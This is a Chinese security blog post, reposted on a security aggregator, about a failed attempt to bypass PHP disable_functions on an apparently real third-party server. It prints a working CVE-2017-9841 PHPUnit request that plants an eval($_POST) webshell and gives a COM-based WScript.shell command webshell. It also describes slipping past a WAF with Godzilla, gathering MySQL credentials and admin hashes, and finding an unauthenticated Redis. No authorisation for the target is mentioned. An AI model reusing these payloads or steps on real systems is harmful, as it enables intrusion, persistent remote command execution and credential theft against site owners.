记一次失败的bypass-disable-function

admin 2023年1月7日16:07:24安全文章评论5 views1964字阅读6分32秒阅读模式

0x01 CVE-2017-9841实现RCE

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=0p1vg5n1tgjqs823qprg4skau0Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Length: 66
<?=file_put_contents("xx.php", '<?=php
eval($_POST["pass"]);');

这里其实已经上传成功了,但是使用蚁剑无法连接成功,我这里分析原因可能是

  • 网站有防火墙造成的,木马本身没有问题,在使用蚁剑连接木马的时候使用base64或者rot等方式时无法过WAF的

选择使用哥斯拉为什么能够连接成功

  • 哥斯拉连接木马的时候选择的加密方式为base64和xor,所以这里是能过waf的

实际上在上传木马的时候可以发现,网站本身的函数已经禁用了很多高危函数,例如“system”."assert"."eval"等

记一次失败的bypass-disable-function

其实在上传的时候使用大写的话是可以过WAF的

0x02 bypass-disable-function

记一次失败的bypass-disable-function

记一次失败的bypass-disable-function

连接上木马之后在进行命令执行的时候是可以发现确实是因为函数的原因无法执行某些函数

记一次失败的bypass-disable-function

这里使用的是哥斯拉直接先baypassopnenbasedir获取到所有隐藏的目录

记一次失败的bypass-disable-function

此时可以看到所有的目录,到这里可以直接看出来这个系统使用的宝塔,其实在看到phpinfo()的信息的时候应该可能直接判断出使用是宝塔nginx+php5.6

信息搜集,起码在这里命令是无法使用的,绕过function随后再说,根据提示当前用户为system,但是在访问目录的过程中可以发现还是有很多的目录是由于用户权限而无法访问

记一次失败的bypass-disable-function

在当前目录下还是能够看到mysql数据库的用户名和密码的,因为该端口未做映射,所以无法直接获取到数据库,继续往下看发现这个cms为*cms,且可以发现管理员的路径

记一次失败的bypass-disable-function

备份的sql文件中找到用户名和密码

记一次失败的bypass-disable-function

网站后台可能响应有问题所以现在是登不了的,虽然md5无法解密,但是如果是前端js加密的话,是可以通过抓包登录后台的。

记一次失败的bypass-disable-function

这里redis是未授权的,密码为null

记一次失败的bypass-disable-function

记一次失败的bypass-disable-function

这里由于限制了登录的出口地址所以无法登录数据库。因为很多模块都是基于linux的,所以对于windows的bypass尝试其它方法,利用Windows中调用COM组件执行命令

  • php.ini中修改配置文件

    com.allow_dcom=true
    [PHP_COM_DOTNET]extension=php_com_dotnet.dll

记一次失败的bypass-disable-function

  • php->ext下存在dll文件php_com_dotnet.dll

记一次失败的bypass-disable-function

  • COM服务开启

  • 这里、通过修改这两部分都已经实现了,但是最关键的一点是COM服务需要开启,如果未开启Win+R->service.msc开启服务

  • 代码index2.php内容

<?php$command = $_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

直接利用

http://xxxxx/index2.php?cmd=whomai

可实现bypass,因为这里COM服务未开启,所以这种方式不行,突然到现在才发现COM服务早都被禁用了。

0x03 总结

方法总比困难多,招架不住函数禁的多,最后依旧还是没有实现bypass,如果不是阿里云的服务器,连接地址做限制,横向以及拿下数据库是没有问题的



原文始发于微信公众号(星海安全实验室):记一次失败的bypass-disable-function

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日16:07:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  记一次失败的bypass-disable-function https://cn-sec.com/archives/1485175.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: